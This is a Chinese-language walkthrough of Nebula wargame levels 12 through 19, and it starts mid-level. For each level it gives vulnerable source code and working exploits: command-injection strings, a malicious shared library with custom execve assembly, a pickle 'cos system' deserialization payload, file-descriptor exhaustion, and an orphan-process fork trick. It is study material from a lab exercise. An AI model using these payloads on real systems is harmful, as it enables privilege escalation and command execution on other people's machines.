strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
解題思路
一、經過以前的練習,咱們能夠大體判斷出函數system()是危險的,所以咱們着重注意process函數;process函數中system的參數來自於buffer變量的內容,而且在system執行以前,程序對buffer裏的數據作了一次異或運算,利用異或兩次即復原的特性,咱們能夠編寫以下的攻擊代碼
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int length = 1024; char *cmd = "getflag"; // 要執行的命令 char buf[1024]; int key = length & 0xff; int i = 0; strncpy(buf,cmd,1024); // 把「 getflag」 字符串拷貝到 buf 裏,其他空間空字節填充 for(; i<length; i++) { buf[i] ^= key; key = key - (buf[i] ^ key); // 必定要 buf[i]^key 纔可獲得正確的 key ,上面那句代碼纔可正確執行 } puts("Content-Length: 1024"); // 輸出至標準輸出 fwrite(buf,1,length,stdout); return 0; }
二、在getrand函數裏tmp = getenv("TEMP");
說明須要環境變量TEMP,因此要先設置一個名叫「TEMP」的環境變量
三、執行攻擊成功~
題目
There is a backdoor process listening on port 50001.
源代碼
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
解題思路
一、雖然是咱們沒學過的lua語言,但憑藉英語理解,咱們能夠大概知道這個程序大體是經過socket創建鏈接,要求用戶輸入密碼,而後將密碼加密後與密文 「4754a4f4bd5787accd33de887b9250a0691dd198」進行對比
二、客戶端經過local line, err = client:receive()
接受輸入的密碼,而後調用local h = hash(line)
,此程序的漏洞在於hash 函數里加密方式是經過調用shell命令prog = io.popen("echo "..password.." | sha1sum", "r")
來完成的
三、使用nc鏈接,並嘗試在輸入密碼時進行命令注入,攻擊成功~
題目
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
源代碼
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
解題思路
一、這段程序經過getuid得到當前用戶的uid與FAKEUID作比較,FAKEUID是一個宏,值爲1000,只要uid=1000的用戶才能夠讀取token,顯而易見,這題要想經過必須修改uid,或者說當getuid調用時,getuid獲得的uid爲1000
二、這裏須要用到逆向工程的知識,通常函數的返回值存放在eax寄存器裏的,getuid函數調用後,eax寄存器裏就是當前用戶的uid,所以咱們可使用gdb調試這個程序,修改eax的內容
三、反彙編main函數,咱們能夠在判斷語句cmp $0x3e8,%eax
處下個斷點
四、查看斷點處的eax寄存器,能夠看到當前用戶的uid是1014,接着就是修改eax的值爲1000,讓程序繼續運行,便可顯示出token啦
五、使用獲取的token登陸flag13帳號,執行getflag成功過關~
題目
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it
解題思路
一、經過題目提示,咱們能夠得知flag14是個加密程序,題目須要破解用flag14加密過的token文件,因此咱們能夠先用flag14加密一些數據,試圖看出它的加密原理
二、多試幾組數據後,咱們大概能夠知道這個加密算法的思路就是第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此類推,知道加密原理後,咱們能夠直接編寫解密程序
#include <stdio.h> #include <string.h> int main() { char buf[1000]; scanf("%s", buf); int i; for (i = 0; i < strlen(buf); i++) { buf[i] -= i; } puts(buf); return 0; }
三、執行上面編寫的程序即成功解密token,而後用它登陸flag14帳號執行getflag便可過關~
題目
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to 「compile a shared library in linux」 and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
解題思路
一、根據題目的提示,咱們須要用strace命令跟蹤flag15的系統調用狀況,而後根據它調用的動態連接庫來劫持它
二、使用strace ./flag15
命令跟蹤系統調用狀況,發現這個程序大量讀取libc.so.6動態庫,可是進入目錄後沒有發現,所以咱們的思路是本身寫一個有惡意指令的libc.so.6,當flag15調用libc.so.6時,完成劫持操做
三、在攻擊前,咱們須要瞭解下Linux動態連接庫的一點預備知識,Linux動態連接庫的入口函數是_init,但由於_init函數是在gcc命令編譯時自動加入的,咱們沒法對其進行重載,不過咱們能夠利用gcc的一個特性,讓程序在執行_init函數以前,先執行帶有__attribute ((constructor))的函數
四、使用objdump -p flag15 | grep RPATH
命令能夠看出咱們對/var/tmp有寫入權限,所以在/var/tmp裏建立一個目錄flag15,並在此目錄下編寫以下的 libc.c,而後使用命令gcc -fpic -shared libc.c -o libc.so.6
生成動態連接庫
#include <stdio.h> void __attribute__((constructor)) init() { system("/bin/getflag"); }
五、在/home/flag15文件夾下執行flag15程序,報錯提示須要定義一個__cxa_finalize函數以及glibc的版本有問題
六、咱們須要在libc.c中添加一個__cxa_finalize函數的定義,同時爲了不glibc的版本問題,能夠在生成連接庫的時候使用-nostdlib
參數,表示不鏈接系統標準啓動文件和標準庫文件,但所以咱們也不能直接調用系統的system()函數,因此還得用匯編語言本身實現了一個system函數
.section .text .globl system system: mov $getflag, %ebx xor %edx, %edx # 異或清空 edx ,做爲空參數 push %edx push %ebx mov %esp, %ecx mov $11, %eax # 調用 execve 中斷 int $0x80 .section .data getflag: .ascii "/bin/getflag\0"
七、從新編譯生成動態連接庫,執行./flag15,成功過關~
題目
There is a perl script running on port 1616.
源代碼
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
解題思路
在正式解題以前,咱們要直面這道關卡必須用到虛擬機ip地址的事實~結合網上相關資料,明白是因爲虛擬機缺少eth0網卡致使的,最終經過把/etc/network/interface
中的eth0所有改爲eth1從而得到ip地址
一、分析代碼,咱們能夠看出這段腳本實現了一個簡單的登陸認證,先接受傳來的username和password,而後將參數中的英文轉換成大寫並過濾掉空格,接着經過調用外部shell命令egrep進行判斷,並把結果存儲到數組@output中,最後再遍歷數組,判斷登陸是否成功
二、一樣此程序的漏洞出如今調用外部shell命令@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
中,爲了防止咱們隨意填寫$username,程序提早將該參數的字母所有轉換成大寫,而Linux默認是區分大小寫的,所以若想有效地執行其它命令,則須要把username轉換成小寫,shell中使用「${變量名,,}」
便可將變量名轉換成小寫。
三、因爲egrep後面有引號,所以咱們注入命令須要閉合引號,而且用/dev/null爲egrep構造一個須要的輸入,最終咱們構造的注入用戶名爲"</DEV/NULL;CMD=/TMP/ZJJ;${CMD,,};#
,其中/tmp/zjj
是一個內容以下的可執行腳本文件
#! /bin/bash /bin/getflag > /tmp/flag16
四、使用在線編碼工具轉換構造的用戶名,使用主機瀏覽器訪問192.168.1.181:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BCMD%3D%2FTMP%2FZJJ%3B%24%7BCMD%2C%2C%7D%3B%23&password=123
,提交以後,虛擬機出現新的文件/tmp/flag16,攻擊成功~
題目
There is a python script listening on port 10007 that contains a vulnerability.
源代碼
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
解題思路
一、腳本首先創建監聽端口10007的socket鏈接,而後接受客戶端發送的數據並使用pickle.loads處理,所以咱們須要先了解下Python提供的pickle模塊:該模塊把對象按照必定的格式保存在文件中,在另外的腳本中使用pickle.load或者pickle.loads便可從新使用這些對象,load和loads函數不一樣之處是load處理存儲在文件裏的pickle格式數據,loads則是處理字符串表達的pickle格式的數據
二、咱們能夠用例子來加深對pickle模塊的理解,首先編寫一個腳本a.py對字符串zjj
進行序列化,並存儲在/tmp/level17中,而後再編寫一個腳本b.py對/tmp/level17裏的字符串反序列化並輸出
三、分析一下/tmp/level7的內容,咱們大概能夠理解成S’字符串’
就是生成一個字符串,p0
是表明沒有其它參數即結束;由此咱們能夠設想使用pickle.loads方法反序列化被咱們精心構造的數據,即但願執行的python腳本內容以下
import os system('getflag > /tmp/flag17)
四、編寫一個文件/tmp/exp,保存以下的序列化數據,其中操做碼c表示使用模塊os,(S’參數’
用於將參數壓入棧,官方叫它MARK對象, tR操做碼大概就是從棧頂開始彈出全部值,包括MARK對象, 最後」.」是pickle結束標誌
cos system (S'getflag>/tmp/flag17' tR.
五、最後將exp文件傳給正在監聽的10007端口,攻擊成功~
題目
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
源代碼
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
解題思路
一、通讀代碼,能夠知道主要實現以下:程序首先查看兩個參數,-d
可以將日誌記錄到提供的文件中,-v
增長詳細級別;而後程序啓動並將詳細級別寫入調試文件,而且爲二進制程序設置EUID權限,接着程序開始接收輸入
execve("/bin/sh", argv, envp);
二、這個程序的關鍵漏洞在於login函數中調用了fopen(),但並無調用fclose()釋放資源;Linux默認狀況下,一個進程只能夠打開1024個句柄(能夠經過ulimit -n命令查看),因爲是個交互式程序,程序將不斷接受用戶輸入的指令,每調用一次login執行,就會消耗一個句柄,等到句柄消耗完畢就會致使fp返回空進而登陸用戶
三、由於Linux的標準輸入stdin、輸出stdout和錯誤stderr各須要一個句柄,因此實際可供使用的句柄只有1021個; 編寫一個輸出1021個「login zjj」命令的腳本:
for i in {0..1020}; do echo 'login zjj'>>/tmp/login; done;
以後再執行cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
,其中-d參數是輸出信息到指定的文件中
四、根據/tmp/debug中的內容,咱們能夠看出登陸成功了,接着就能夠追加一個「shell」命令,不過在「shell」命令執行前,咱們須要先執行closelog命令釋放一個句柄,基於以上,在/tmp/login中加入closelog和shell
五、-d參數出現錯誤,查閱bash的手冊頁資料咱們知道這是bin/sh接受參數時的問題,加上–-rcfile
便可解決
六、新的錯誤(漏洞)來了,提示找不到Starting命令,由前面攻擊環境變量的練習咱們能夠聯想到在/tmp目錄裏新建一個可執行腳本Starting,該腳本內容是將getflag的輸出重定向到/tmp/output中,而後將/tmp路徑添加到環境變量下
七、再次運行程序,/tmp目錄下多了output文件,攻擊成功~
題目
There is a flaw in the below program in how it operates.
源代碼
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
解題思路
一、這段程序的流程是這樣的:
二、解題前先了解下Linux中的進程父子關係:當子進程銷燬時,父進程須要回收它;若是在子進程執行完畢以前,父進程由於種種緣由被銷燬了,那麼子進程就變成了孤兒進程,收養它的是init進程,init進程是Linux啓動時建立的第一個進程,是全部進程的父進程,具備root權限
三、突破這段程序的方法就是寫一段代碼,fork一個進程,而且在fork出的子進程執行完畢以前,將父進程結束掉,這樣init進程就會接子進程,子進程也就天然擁有root權限
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 將 getflag 的內容重定向到 /tmp/flag19 中 if(pid == 0) // 若是 pid==0 ,則是子進程 { execve("/home/flag19/flag19",argvs,NULL); }else if(pid > 0){ // 返回給父進程時,直接結束父進程,子進程就成了孤兒進程了 exit(0); } return 0; }
四、運行程序後,有新生成的/tmp/flag19文件,通關成功!
前面幾關都是利用代碼中的小漏洞或是使用一些小技巧(軟鏈接、修改環境變量等)得到權限的,對我而言真正有難度的關卡是從level09開始的,這關是攻擊PHP代碼的,不管是代碼自己的語言仍是裏面用到的正則表達式知識,我都比較薄弱,雖然在教程的幫助下成功過關了,但深挖起來還有一些邏輯上不能理解的細節
level10漏洞的原理我以爲還比較有意思,它是一個經典文件訪問競態條件漏洞,也可稱做爲「TOCTOU漏洞「—— time of check,time of use。在早期的單處理操做系統中,這樣的代碼多是嚴謹的,由於單處理的話,進程執行完畢後才發生切換。可是在多任務的操做系統中有這樣一個問題:在用access檢查文件後,這個程序可能受到其餘程序的干擾或者發生進程切換,在進程發生切換以後,進程失去了執行流程,而且在它還未再次得到執行時,它操做的文件發生改變。
許多關卡好比level十一、level18官方提示都有多種解法,但由於水平限制,我作出來的都是比較簡單的那一種,因此針對這套題仍是有必定再挖掘空間的~
level15在我看來也是比較有趣的一道關卡,不只要用到Linux動態連接庫的相關知識,最終攻擊成功還須要本身用匯編語言編寫system()函數;除此以外level17是使用了序列化與反序列化的相關知識,level19是利用「孤兒進程」的特性……整套練習作下來仍是能學到不少之前不曾接觸的知識點的,總而言之,學習之路任重道遠